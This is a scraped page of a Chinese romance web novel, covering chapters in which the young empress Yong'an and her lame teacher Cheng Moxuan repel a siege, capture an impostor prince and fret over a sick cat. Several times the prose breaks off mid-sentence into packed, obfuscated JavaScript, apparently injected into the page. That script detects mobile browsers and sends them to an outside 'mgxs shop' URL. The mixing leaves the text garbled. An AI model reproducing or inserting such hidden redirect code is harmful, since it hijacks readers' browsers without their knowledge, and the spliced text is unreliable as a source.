昭京的城门,城墙,护城河等机要之处都被标注得清清楚楚。在可能有破绽的地方,用朱砂重重地画了几个圈。 永安挠了挠头:“小老师,这是什么时候画的?” 程莫玄声音淡淡的:“来时的路上。” 她的小老师真是全能啊!居然能够在这么短的时间内将城防图画出来! 不错不错,永安想,一定要给他升官,要是敢拒绝就赏钱!!! “小老师~”她嘟着嘴,扯了扯他的袖子。 程莫玄将图纸收好,低头去看她。 永安冲他挤挤眼:“等打完仗,朕要给你升官~还要让你发财~” 程莫玄微微一笑:“钱财乃身外之物,况且陛下已经给臣升过了。臣以前只是个小小典籍,这么多年没做官,怎担得上礼部侍郎一职。” “那就再升!” “再升就要顶替周尚书了。” “顶替就顶替,周延那个老登,早该退位让贤了,哼哼~” 程莫玄再次被她逗笑,摸了摸少女的头。 入夜。 城楼上灯火通明,守军们皆排列整齐,严阵以待。 永安本来被程莫玄劝着回宫休息,但她死活不肯,非要留下来亲眼看着小老师打仗。 程莫玄拗不过她,只能让她坐在城楼里间,吓唬她等会儿可能会有敌军的乱箭飞过来,不许往外探头。 “朕才没有被唬住呢!朕又不是小孩子~” 永安和小老师斗了好久的嘴,最后还是妥协了,乖乖趴在里间的小窗内,透过缝隙往外瞧了瞧。 城外黑漆漆的,伸手不见五指,什么也看不见。 “小老师,他们真的会来吗?” “我不会骗永安的,你听,不远处有阵整齐的马蹄声——” 还没过多久,城外就亮起了大片大片的火光。 火光刺眼得过分,直刺得永安瞪大了眼睛。 永安又凑到窗边一看,只见密密麻麻的火把从黑暗中涌现出来,像一条火龙般朝着城门席卷而来。 “报——有敌袭——!” 城楼上角声阵阵,看来是敌军已至。 永安下意识就要往外冲,被程莫玄一把按在了原地。 “请陛下待在这里。” 永安急了:“可是朕也想去战斗诶,战斗爽!” “陛下待在这里。”程莫玄轻轻叹了口气,“臣去。” 永安下意识地想要出声辩驳,却被他轻轻揉了揉脑袋。 “永安是最勇敢的陛下。” 说罢,他便拄着拐杖,一步一步走出里间,准备前去迎敌。 永安半天都没反应过来,脸还一阵阵地发烫。 小老师刚刚是在夸她吗?嗯哼!她觉得是的! 城楼上飞来的箭矢如雨,将大昭城墙的墙壁射成了筛子。 “李元初”的人马扛着云梯,一波接着一波呐喊着冲向城墙。 城上的守军滚下擂木,泼下火油,惨叫声瞬间此起彼伏。 程莫玄立于城楼的最高之处,手握盾牌,身边同样站了几个拿着盾牌的武将。 “程大人,东面攻势太猛,兄弟们快撑不住了!” 程莫玄往东面看了一眼,淡淡道:“放他们上来。” 主将深表不解:“您说什么?” “放他们上来。”程莫玄重复了一遍,“城墙上留二十人佯装不敌,其余人撤到第二道防线。等他们爬上来,关门打狗。” 主将眼睛一亮,抱拳领命而去。 “程大人,不好了!西面的云梯也已经架起来了!”又一个将领跌跌撞撞地拿着盾跑了过来。 程莫玄转头看向西侧,果然,攻势同样凶猛。 “来人,将火油准备好。” “回大人,已经准备好了!” 程莫玄满意地点了点头:“等他们爬到一半,立即泼下去。” “是!” 一道道有条不紊的军令从程莫玄口中发出,个个精准果断。 武将们来来去去,处理着各方十万火急的讯息。没有一人注意到,发号施令者竟是个站不稳的残废,手里还拄着根拐杖。 战事持续了半个时辰。 在程莫玄的防守下,少年的人马死伤过半,连城墙都没能爬上去。 他们在城下乱成一团,有人还在往前冲,大多数人已经开始往后撤了。 “程大人!他们撤了!”很快便传来了主将报喜的声音。 程莫玄往城墙外一瞧,如他所料,那些火把正在往后退去。 “追。”他面无表情道,“开城门,率三千禁军前去追击。记住,活捉那个领头的。” “是!” 城门轰然打开,三千禁军瞬间倾巢而出。 “李元初”的人马本就士气低落,被这一冲,便彻底溃散了。 少年自己也被几个亲兵护着往后撤去,可还没退上几步,便又被追上的禁军团团围住。 一场胶着的混战之后,主将三两步上前,击败了护着少年的亲兵。 即便少年嘴里振振有辞,还是被生擒了。 一盏茶后,主将便笑嘻嘻地将小少年绑至程莫玄的面前,汇报起今日的战果。 见此情景,程莫玄总算舒展了眉眼,朝着主将行了一礼:“辛苦诸位了。如此,程某便去里间通报一声。陛下她呀,也是等太久了。” “那末将便将此人绑去城下,等待陛下发落了!”主将倒是个爽快人,命两个小兵一前一后将少年抬了起来,绑去城下等待发落了。 程莫玄:“好。” 说罢,拖着另一条酸麻的腿,就打算拄着杖往里间走。 可还没走多远,就看见一个黑影径直从里间蹿了出来。 “小老师真的抓住了嘛~” 程莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“就凭你一个十五六岁的小子,能聚起几百号人,弄到军械粮草么?甚至能查到朕的小弟是李元初……哼,朕才不信呢!” 少年瞬间变了脸色,怒斥道:“你要杀要剐,随你处置,我乃李元初,一人做事一人当,和其他人无关!” 永安听罢,心里就有了数。 她拍拍手上的灰,摆摆手道:“真是个嘴硬的小东西~先关起来,慢慢审。” 兵士们领命,把少年押了下去。 见将士们如数退回城内,永安这才迈着小碎步,轻快地奔向程莫玄。 她小跑着迎上去:“小老师,你说,朕判断的对不对?这个冒牌小弟定然是被有心人利用了,才这样光明正大地反对朕!” “陛下所言有理,”程莫玄的目光温柔而坚定,“无论如何,臣都会陪陛下查清楚。” 永安笑得更灿烂了:“小老师。” “嗯?” “你今天好厉害啊。” 程莫玄瞬间羞赧万分,想要岔开话题:“陛下,不过是将士们给力而已……” 永安却不乐意了:“小老师也有份!朕不是说了嘛,你要多多喜欢你自己才是~” 程莫玄眼神躲闪,不敢看她。 “朕决定了,要给你赏金千两,给你的小猫年糕赏两个月分量的小鱼干,外加——” “外加朕的一个亲亲哦~” 程莫玄的耳根已经红得彻底,他刚想躲,就被永安轻轻吻住了。 这个吻蜻蜓点水般轻盈,落在他的额间。 永安见他不知所措的可爱模样,笑得前仰后合。 8. 果然是替身! 冒充“李元初”的少年羁押在昭京最大的天牢中。 他甚至觉得自己难逃一死了,冒充皇嗣还意图谋反,这可不是小罪。 只见牢中四壁潮湿,亮了盏老旧的油灯,昏黄的光晕勉强照亮了这处方寸之地。 少年的身上尽是鞭痕,他撑了整整六个时辰,从昨夜被擒到现在滴水未进,一个字都没吐出来。 “见过陛下——”大门缓缓被推开,传来了守狱人的恭迎声。 只见换了身便装的永安气势汹汹地走入了大牢,后面还跟了个拄着拐杖的程莫玄。 少年始终都垂着头,长发散落着,遮住了大半张脸。 永安在他面前蹲下,气鼓鼓地盯着他看。 “喂,小冒牌货,你还活着吗?” 少年这才咬着牙动了动,抬起头回瞪着她。 “要你管!妖女!” 见他脸上是大片大片的血污,永安皱了皱眉。 “你们打他了?”她回头问身后的狱卒。 狱卒连忙解释道:“陛下,这可是审讯,不用点刑,这小贼子怎么能招供呢?” 永安柳眉倒竖,吐槽道:“审讯也不用往死里打啊,你们也太不人道了!” “去弄点水来,再拿点吃的给他。” 少年颇为不解。 抓住了敌人,不去折磨他一通,对他这么好又是什么意思? 永安并不在意,自顾自地在他面前盘着腿坐下了。 “你不说,朕也知道你是个满脑子都是篡位的小冒牌货。朕只是想给你个机会,让你自己说出来~” 季元初冷笑两声,扭过头去,不去理会她。 永安被他逗笑:“小冒牌货啊,还挺倔呢。” 程莫玄走得慢,等他们说完了,才拄着拐杖走了进来。 永安回头看见他,眼睛一亮:“小老师,你可算来了~你腿不好,为啥非要陪着朕嘞,多去修养一下,也不是不可以嘛~” 程莫玄微眯着双目,淡淡答道:“臣来帮陛下审。” 永安眨眨眼:“小老师,你还没休息好呢!确定要审嘛~” 程莫玄点了点头,认真地打量起了“李元初”。从头到脚,眉眼到身形,都一寸一寸地认真看过。 少年被他看得发毛:“你要干嘛啊!不愧是妖女身边的人,怪恶心的。” 程莫玄确认了很久,才笃定地开口道:“你的母妃是程晚凝,居于长春宫。你怕黑,晚上睡觉要点灯。你爱吃甜的,尤其是桂花糕。” 少年这才撩开了头发,不可思议地瞪大了眼睛看着他。 程莫玄轻轻叹了口气:“这些都是你养父母告诉你的,对吗?” “他们告诉你,你是赵王李元初,是凝妃的儿子,在宫变中死里逃生。” 程莫玄轻声分析着:“还有,他们一定和你说了你怕黑是因为被扔进过枯井,你爱吃甜是因为凝妃娘娘当年最爱给你喂桂花糕。” 少年的脸色开始发白,难以置信道:“这……” “可你有没有想过,为什么我知道这些?” 少年摇了摇头,脸上的不服不忿收敛了不少。 程莫玄慢悠悠地在他面前蹲下,和他平视着:“因为真正的李元初,是我看着死的。” 此言一出,不单单是少年,就连永安也是一惊。 “小老师!你都没和朕说过!” “宫变那日,我抱着小永安躲在了枯井里。阿姐为了保全元初,提前派了好几个宫人,用狸猫换太子之计,想要将小元初送出宫去。” “不曾想,一队悍兵追了上来,三两步杀光了全部宫人。小元初也受了伤,一直在流血。大概过了一个时辰,有个一息尚存的宫人抱着他,爬到了我们藏身的枯井口。” “宫人看见了我和永安,拼命将装着他的襁褓扔进了井里,正巧被我接住。可他太小了,根本就撑不住。天亮的时候,他已经没了气息。” “后来我带着永安东躲西藏,侥幸逃出了宫内,出宫后,我亲手把李元初埋在了京郊的乱葬岗里。” “再后来,我听见了阿姐自愿赴死的讯息。” 少年想要辩驳,支支吾吾地一个字也吐不出来。 程莫玄轻轻摇了摇头。 “你不是李元初,你只是当年被拿去替代元初的替身。阿姐死后,你作为一个无辜的农家子弟,被新帝送养了出来。” “送养你的宫女,正是你现在的养母。” 听到这里,少年再也止不住,眼泪终于掉了下来。 永安在一旁听完了事情的来龙去脉,心里特别不是滋味。 她扯了扯程莫玄的袖子,小声说:“小老师,你别说了,这些对他来说未免也太残酷了吧。” 程莫玄站起身,退后一步,不再开口。 永安蹲到少年面前,伸手把他脸上的泪抹掉。 “别哭了。” “我才没有哭。”少年死鸭子嘴硬。 永安撇撇嘴,问他:“你叫什么名字?朕想知道你真正的名字。” 少年沉默良久,才哑着嗓子开口:“季元初。” “季?”永安笑得灿烂,“哪个季呀~” “季节的季。” 永安点点头:“行,季元初,那朕以后就叫你季元初了。不要冒充小弟啦,要是把死人说成活的太不吉利啦!小老师,你说是不是~” 程莫玄扶了扶额,连忙点头称是。 季元初见他们二人举止亲昵,不爽地冷哼一声。 永安却是个没眼力见的,追问道:“那你告诉朕,你的养父母在哪儿呢?” 季元初摇了摇头:“不知道。他们把我养大,教我武功,告诉我那些事,教我去向你复仇。” “然后就消失了。” 永安一下子就听出来了其中的不对劲:“他们是把你当棋子使啊!” 季元初没说话,算是默认了。 永安跳将起来,在原地转了两圈。 转完圈后,突然灵光一现,故作神秘道:“行了行了,朕决定了——朕要放了你。” “还不快谢谢朕的大恩大德?” 季元初更加不解了:“啊?你认真的?” 程莫玄清冷自持的神色也出现了裂痕:“永安,你可要想好。” 永安朝他做了个“嘘”的手势,示意他别说话。 她走到季元初面前,弯下腰,直视着他的眼睛。 “你是被人利用了,不是自己要造反的。而且你也挨了打,吃了苦头,差不多得了哈。” 永安继续说:“但是,放你可以,朕可是有条件的哦~” 季元初:“这是什么意思?妖女,你有话就快说!要杀要剐,也随便你了!” “你得留在京城,住在朕给你安排的地方,在朕的眼皮子底下活动。”永安笑嘻嘻的,“朕可不是傻白甜,万一你再被人利用怎么办?放在身边看着,才最安全嘛~” 这下换成程莫玄和季元初大眼瞪小眼了。 小陛下这是不按照常理出牌啊! 程莫玄还想再劝,季元初却抓住了机会率先开口:“好。这可是你说的!” 永安仰着头自信答道:“那可不!朕一言既出,驷马难追!” “聊你这小样,也掀不起什么风浪来,嘿嘿~” 季元初气得是咬牙切齿:“你等着瞧!” “朕等着呢!”永安才不管他,回头冲狱卒挥挥手示意放人,就拉着小老师离开了。 季元初被安排在城西的一处小院中,好吃好喝供养着。永安还特别“贴心”,派了不少专人前来照顾他。 说得好听是照顾,说得难听些,其实就是监视。 季元初才不在乎呢,他在意的另有其事。 他不是那种容易安静下来的人,自他从被放出牢房的那一刻起,就在心里盘算起了新的小九九。 造反什么的颇为无趣,永安呢,却是有趣的。 小皇帝居然和他想象中的不太一样。 在他的认知里,皇帝的权威性不容置疑。他既谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484570|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反,李永安定然会暴怒,将他当众处决以儆效尤。 他怎样也没想到,失败后,陛下居然蹲在他面前,帮他擦掉眼泪,还安慰他别哭了。 他!才!没!有!哭! 小陛下笑起来的时候,眼睛会弯成两道月牙。 季元初注意到了,当永安看向那个残废时,眼里会变得亮晶晶的,像盛满了星子。说话时,手会不自觉地去扯着程莫玄的袖子,活像只黏人的小猫咪。 季元初见过很多女人。 养母刻薄,乡间的妇人又多粗鄙,跟着他造反的女人们眼里全是算计,生怕捞少了昭京城里的油水。 他从未见过永安这样的。 这样的小陛下,让人移不开眼。 意识到自己一直在想永安的事,季元初这才反应过来:“哼!不能再去想这个小妖女了!” 人呐,总是口是心非的。 这日起,季元初总是会溜去皇宫内,美名其曰是要去向陛下请罪。 一开始这些看着他的人不允许,便将永安赐他的美食珍馐分了这些人不少。收了些好处,自然就开始睁一只眼闭一只眼了。 每天下朝后,他都会偷偷跟在永安身后,看见她采了花,放入信纸中,塞给一脸黑线的老尚书周延。 随后,她又去御膳房打包了点心,在礼部门口晃悠,直到程莫玄下衙。 她凑到程莫玄耳边说话,不知说了什么,把程莫玄闹得满脸通红,然后自己又笑得前仰后合。 程莫玄的反应,总是淡淡的。 他脸红后就躲开,刻意隔着些距离,垂下眼睛不敢看她。永安再怎样热情地凑上前去,他就是不会回应,也不主动。 季元初看着看着,心里居然冒出一个异想天开的念头。 要是他被人这样好好珍惜对待,才不会这样呢。 永安若是对他笑,他一定会回应。她扯他的袖子,他一定会握住她的手。要是呢,她凑到他耳边说话,他一定会转头亲上去。 程莫玄那个木头,根本配不上她。 这个念头一冒出来,就再也压不下去。 过了几日的一个傍晚,永安又按照她从前的作风,前来礼部探视。 她手上是整整一篮子新摘的樱桃,嘴里吧唧吧唧嚼了几颗,随后蹦蹦跳跳地进了礼部。 季元初趴在墙头,看见她跑进程莫玄的值房,然后很快就出来了。 出来的时候,手里那篮子樱桃还是那么多,少女的脸上却还是笑眯眯的,没有半点不高兴的情绪。 “这不是没送出去吗?她高兴个什么劲呢!” 季元初深表不解,就这样看见永安走到门口,回头朝里面挥了挥手:“小老师,我先回去了哦~” 然后就蹦蹦跳跳地往皇宫去了。 仅仅是见了那人一眼,就值得这么高兴么? 不一会儿,程莫玄居然也一晃一晃地拄着拐杖,从礼部的大门里走出来了。他就这样呆站在原地,神色专注地目送着永安的离去。 季元初更不理解了,这人也是,倒底喜欢陛下,还是不喜欢呢?连个准信都没有。 他想,要是小陛下对他这么好,他才不会像这个残废的呆子一样,一点回音也没有。 季元初垮着个脸,不满道:“妖女的眼光也太差了吧!小小礼部侍郎,还是个残废,除了这张脸长得不错,倒底喜欢他什么啊……” 这人看上去还不怎么珍惜。 那他呢,为什么不能争一争? 晚风里,少年抬起头,目光渐渐坚定了。 他才不想做“李元初”,做个被养父母操纵的傀儡呢! 既然永安这么大度给了他第二次人生,他也要好好活出自己来。 首先,他不能一直这样被永安供养着,需要找个活干,然后再去追求永安! 同一时间的紫宸殿内,还在肖想着小老师的永安突然就打了个喷嚏:“阿嚏——!” “谁在念叨朕啊!不会是小老师也在偷偷喜欢着朕吧!嘻嘻嘻~” 9. 咫尺天涯 永安这几日心情好得很,不仅和平地解决了季元初这个大患,还有啊,感觉小老师也越来越喜欢她了! 虽然程莫玄还是神情淡淡的,每次她凑过去说话,他的耳朵都会变得通红。 美人如此,永安又复何求?这就够了嘛~ 下朝后,她先是去了御膳房拿了些糕点,哼着小曲儿,照例在礼部的门口晃悠。 日头从正午转到偏西,又从偏西转到落山。 可小老师的值房里,灯怎么一直没亮呢? 永安踮起脚尖往里看,黑漆漆的,什么也看不见。 “奇了怪了……”她嘟囔着,又等了一刻钟。 疏月在一旁小声提醒着:“陛下,天快黑了。您要不先回去休息休息?” 永安不太乐意:“疏月姐姐,要不还是你先回去吧,朕一定要等到小老师才肯走。” 疏月哪来的胆子先回去啊,只能由着永安,一起又等了一刻钟。 礼部的官员陆续走光了,周延最后一个走出来,见到神色阴沉的永安后吓了一大跳。 “陛下啊!您怎么在这儿?” 永安探出头,往他身后瞧去:“周大人,朕的小老师呢?” 周延愣了愣神:“您说程侍郎吗?他今日告假了啊。” 永安的脸更黑了:“背着朕偷偷告假?” “是啊,说是家里有事,一大早就递了条子。”周延小心翼翼地看着她,“具体的老臣也不清楚,陛下难道不知情么?” 永安摇摇头,“哦”了一声,转身就走。 疏月小跑着跟上去:“陛下,您慢点儿,小心摔着了——” “疏月姐姐,朕没事。”永安小步子迈得飞快,见疏月身上裹着件繁复宫装,跟得气喘吁吁,这才停下来等她。 终于跑回了紫宸殿,她一屁股坐在榻上,气鼓鼓地瞪着窗外。 要告假,居然不提前告诉她,还她等了整整两个时辰。 疏月见永安神情委屈,立即端了份点心进来,小心翼翼地放在她面前:“陛下,吃点东西吧。” 永安把脸扭到一边:“不吃。” “那陛下早点歇息?” “不睡。” 疏月:“……” 陛下这是闹脾气了。 疏月不敢再劝,悄悄退了出去。 永安一个人在殿里坐了很久。 窗外的月亮升起来,又圆又亮。今夜月色正好,她盯着那轮月亮,想起小时候生病时程莫玄也是这样守在床边,一整夜不睡地哄着她。 那时候她烧得迷迷糊糊,一睁眼就能看见他坐在旁边。 少年容颜清隽,为她朗读着《诗经》:“窈窕淑女,君子好逑……” 偶尔,也会抬头看她一眼,伸手探探她的额头。 她那时候就想着,要是能一直这样就好了。 可现在,他就连告假也不愿告诉她,让她好生苦等。 永安越想越气,一头栽进被子里,把自己裹成一个球。 “睡!” 她恶狠狠地对自己说。 可即便闭上了眼睛,满脑子还是他。 “陛下,季元初求见,说有急事要报。” 正好永安还没睡着,于是便迷迷糊糊地睁开了双眼,看见疏月站在床边。 “谁?” “季元初。”疏月小声说,“就是冒充您小弟的那少年,说有要事求见陛下。” 永安坐起来,揉了揉眼睛。 窗外天已经黑透了,也不知道是什么时辰了。 她想起小老师今天没来,心里又堵得慌,干脆就另找个人聊聊天也好。 “让他进来罢。” 季元初就这样施施然走了进来,略略行了个礼:“见过陛下。” 看得永安倒是一愣,眼前这个英姿飒爽的少年跟牢里的还是同一个人嘛? 他换了身干净的衣裳,头发也束了起来,露出干净利落的眉眼。 褪去了满脸的血污,少年竟然长得还挺好看的。飞剑般的横眉,曜石般的明目,嘴角微微上扬,有着少年人的锐气。 永安确实有被帅到,由衷夸赞道:“起来吧,洗干净了还挺像个人嘛。” 季元初的脸黑了黑:“陛下,我是来求您的。” 永安挑眉:“求朕做什么?你不是挺行的么?还有啊,你不是一口一个妖女地叫着朕嘛?怎么,换了副嘴脸?” 季元初强忍着怒气,单膝跪地道:“我要加入禁卫军。” 永安“啊”了一声,随即认真地考虑起来。 季元初抬起头,目光坦荡:“您说得对,我是被人利用了。我不想再做别人的棋子,想靠自己活着。” “禁卫军是陛下的亲军,我若能进去,日后就只效忠陛下一人。” 永安狐疑地盯着他看。 季元初也不躲,就昂首挺胸地让她看。 “行啊。” 永安从榻上跳下来,围着他转了一圈:“但是有条件哈。” “你得在朕的眼皮子底下活动,之前说的监视,可不会撤销哦~” 季元初并无异议:“我既是来找陛下的,便自然答应陛下的一切要求。” 一语毕,永安这才满意了,伸手拍了拍他的肩膀:“朕也不是恶人,既然你想痛改前非,那就这么定了!明日去找禁军统领报到,就说朕准的。” 季元初连连称是。 烛光下,少女的脸庞明艳生动,嘴角漾开了两个小小梨涡,弯弯的眼睛里盛满了碎金子。 他瞬间就明白程莫玄为什么每一次见到她时,都会脸红心跳了。 “喂!看什么呢?” 季元初收回目光,故作不想理她的样子:“没什么。” 永安也不在意,打了个哈欠:“行了,你回去吧。朕也困了,一会儿也要休息了。” 季元初目的达成,转身就往外走。走到门口,好奇地停住了脚步。 他回头看了一眼,只见永安趴在窗边,扯着肩头的一缕碎发,望着外面的月亮发呆。 永安目之所及的尽头,坐落着大昭的礼部。 季元初收回目光,冷哼一声,大步走了出去。 程莫玄这边,并不是不愿上朝,而是守了年糕一整天。 小猫从早上开始就特别不对劲,没精打采地窝在窝里,不吃东西,也不叫唤了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484571|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程莫玄伸手摸了摸它的额头,发现烫得吓人。 他瞬间就慌了,可翻遍了屋里,也找不到能给小猫治病的药。他想起街上有个兽医,可等他拄着拐杖,慢吞吞地赶过去时,人家已经关门歇业了。 他只能又慢吞吞地走回来,用冷帕子给年糕敷着,一遍一遍地换水。 年糕的小身子烫得像一团火,呼吸又急又浅,湛蓝色的眼睛半睁着,可怜巴巴地望着他。 程莫玄的心瞬间就揪成一团:“小可怜,你快快好起来,不然永安就要伤心了。” 永安给它起名叫年糕,说它白白软软的,像块年糕。 她每次来都要抱着它揉半天,絮絮叨叨地和它说话,说小老师今天又脸红了,小老师今天收了她的花,小老师今天又怎么怎么样了。 她那么喜欢年糕,可要是它就这样死了…… 程莫玄根本不敢往下想。 他咬咬牙,拄着拐杖,扶着酸痛的腰杆再次站了起来。 他得去找永安,宫里的太医们一定有办法医好它。 就这样,程莫玄一路紧赶慢赶着,终于到了紫宸殿门口。 守门的太监见来者是他,不去通传,立马爽快地放他进去了。 程莫玄尽他所能地快步走着,拐杖一下一下地快速点在石板上,发出“咚咚”的响声。 殿门半开着,里面透出了温暖的烛光。 程莫玄走到门口,正要进去时,居然听见了一男一女的说话声。 说话的女声是那样熟悉,于是,他停住了。 殿内,永安正笑盈盈地和季元初说着话。少年将自己收拾得干干净净,眉眼干净利落,身形英气勃勃,与殿内的少女是这样相配。 本该被关在天牢里的逆贼,转瞬间就站在了永安面前,离她不过两步远,近在咫尺。 永安和他斗着嘴,笑嘻嘻地说着什么。少年的嘴角微微上扬,眼睛里有着程莫玄很熟悉的情绪。 他每次看着永安时,眼里也会燃烧着这样的情绪,哪怕……他自己也很难察觉。 随后,他便看到了他不想看见的一幕。 永安伸手,拍了拍少年的肩膀。 程莫玄站在原地,握着拐杖的手紧了紧,只觉得自己很多余,还特别可笑。 他是来做什么的,找她帮忙么? 她又不是兽医,而是堂堂九五之尊。他一个残疾的废物能做到侍郎一职已是陛下恩典,又有什么资格来麻烦她? 他算什么?残废也就算了,连只小猫都照顾不好? 程莫玄觉得,他一直都配不上陛下。他为师,比陛下硬生生大了十四岁。如今陛下也有了新的良人,只怕会慢慢将他忘却罢。 也好,也罢。 “永安,程某只希望你能幸福,这就足够了。” 他喃喃自语着,就想着先回去照料着年糕了,明朝再度请假,去城内的市集中寻些药物来。 程莫玄并没有注意到,同一片月色下,永安也在季元初离开以后,依旧辗转难眠。 “小老师啊,你为何一直躲避着朕呢?现在就连朕给你的官儿也不做了,唉!” “朕给你的越多,你却又想要躲……” 10. 小老师居然疏离朕…… 心上人的心思居…… 就这样,永安一夜没睡好。 她在床上翻来覆去,满脑子都是小老师松风水月的绝美容颜,和为她读诗时的冷淡模样。 她在脑子设想了无数种可能:他生病了?还是遇到难事了? 不对不对,小老师都不愿意和她做夫妻,难不成是下定决心,不喜欢她了。 不可能。最后这个念头一冒出来,就被她狠狠按了回去。 小老师不可能不喜欢她。 天刚蒙蒙亮,永安就一个鲤鱼打挺从床上蹦了起来。 疏月端着洗脸水进来,见她一反常态地自行穿戴整齐,直直吓了一跳:“陛下,您今天起这么早做什么?” 永安对着铜镜理了理头发,理直气壮道:“去礼部视察。” “您不去上早朝了吗?” 永安撇撇嘴:“朕生病了,得了心病,罢朝一日。” 疏月:“……” 陛下,您睁眼说瞎话的本事越来越厉害了。 永安就这样冲了出去,连早膳都顾不上吃,一大早直奔礼部而去。 礼部的大门还没开,她就在门口站着,活脱脱站成了一尊望夫石。 日头慢慢升起来,礼部的官员陆续到岗了。每个人经过她身边时都吓得一哆嗦,以为自己看眼花了,陛下怎么一大早就出现在这儿。 永安懒得理他们,只一味地盯着门口看。 周延是最后一个到场的,见到永安,他已经吸取了教训,不再意外:“陛下怎么又来了?” 永安满脸不悦:“周大人,朕的小老师呢?” 周延抚了抚须,一脸为难:“程侍郎又告假了。” 永安的脸垮得更厉害了:“又告假?有理由吗?” “是,一大早就托同僚递了条子。”老尚书小心翼翼地看着她,“说是家里有事,今日也不来了。” 永安杵在原地,半天没动一下。 见陛下不动,周延也不敢动,两人就这样不动如山地站着。 过了好一会儿,疏月唤了小陛下一声,她这才回过神来。 这回她没有跑,小步小步地走得很慢。 疏月跟在后面,正好瞧见了少女耷拉下来的小脑袋,心里有点难受。 “陛下,程先生可能真的有急事,您不要多想。” 永安点了点头:“谢谢你,疏月姐姐。” 她回到紫宸殿,把自己扔在榻上,盯着房顶发呆。 告假。又是告假。两天了,还不来报道。 就算是真的有事嘛,连句话都不捎给她。 她每天都给他送花,去礼部门口等他。 她以为他也喜欢她的,就算嘴上不说,心里也该知道的。 可他现在连面都不愿见了,难不成只是她一厢情愿么? 永安就这样不争气地红了眼眶。 小时候她生病发烧,他整夜整夜守着,一勺一勺喂她喝药。摔跤时磕破了膝盖,他比自己受伤还心疼,小心翼翼地给她上药,一边上药一边吹气,告诉她吹吹就不疼了。 她好想抓住那时的光阴,只要和他共处一室,永安就觉得满满的幸福。 可现在,他躲着她,不见她,连告假这种小事都不告诉她。 永安把脸埋进枕头里,泪水逐渐打湿了枕上的布料。 “小老师,你到底在想什么啊……” 此时此刻。 程莫玄一手抱着年糕,一手拄着拐杖,在京城的大街上艰难地走着。 小猫烧了一夜,比早上起来时看上去更严重了,缩在他怀里一动不动,偶尔才会微弱地“喵喵”叫一声。 见小猫难受,他心里也难受。天还没亮,他就早早出门了,一家一家地寻着兽医。可当他拄着拐杖走到门店时,已经是午后了。 第一家,关门。 第二家,刚刚歇了业。 第三家,门上贴着一张纸,写着“回乡探亲,三日后归”。 程莫玄崩溃地站在这家店门口,大口大口地喘着气。 低头看看怀里的年糕,小猫紧紧闭着眼睛,呼吸又浅又急,小小的身子散发出滚烫的温度。 “年糕,你再撑一撑好不好。我会找到医师了,你一定要坚持住。” 他咬咬牙,继续往前走。 可断了一条腿注定了他是走不快的。 拐杖一声声点在地上,正常人一炷香内能走完的路,他需要走上小半个时辰。 烈日高照,太阳越升越高,晒得他满头是汗。 年糕的叫声也越来越弱了。 “年糕,年糕……”他一声声唤着小猫。 小猫出现得这么巧,肯定是永安特意留在路上让他养的。 又想起来那天她揉着年糕的小脑袋,笑得那么开心,说:“你可要好好陪着小老师喔,你呀,可是朕的小探子”。 一人一猫的互动是这样可爱,他嘴上没说什么,心里却暗暗发誓,一定要把陛下的小探子养得好好的。 就像小时候养着永安那样。 可现实总是残酷的,猫猫病得这样重,他却束手无策。 程莫玄仅剩的一条腿也已经失去了知觉,他咬着牙,继续往前走着。 不知道前面还有没有开门的兽医,但他不能停下来,一旦停下来,小年糕就凶多吉少了。 此时,巧就巧在,这会儿为了给永安买她最爱吃的桂花糕,疏月也恰好出了宫,来到这条街上采购。 糕点铺在城东,她买完糕点就往回走了。走了一会儿,就看见了街角有个熟悉的身影。 “这人怎么这么眼熟啊?” 她定睛看去,发现这不是小陛下心心念念的程莫玄么?他不去上朝,怎么会一个人在这儿? 疏月揉了揉眼睛,确保自己没看错人。 只见程莫玄拄着拐杖,垂头丧气地站在一家关着门的店铺前,怀里抱了一团白色的不明物体。 疏月走近几步,才看清了他究竟在干嘛。只见程莫玄怀中抱了一只小白猫,小猫耷拉着脑袋一动也不动。 他看上去没了力气,勉强撑着身子,浑身都剧烈地颤抖着。 疏月心里咯噔一下,这下可遭了。 她悄悄退后几步,提起糕点,转身就往回跑。 紫宸殿内。 “陛下!陛下!” 永安绞着头发,趴在榻上发呆了一下午,听见疏月的声音,这才懒洋洋地抬起头:“怎么了?疏月姐姐有急事吗?” 疏月跑得上气不接下气,大口喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484572|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 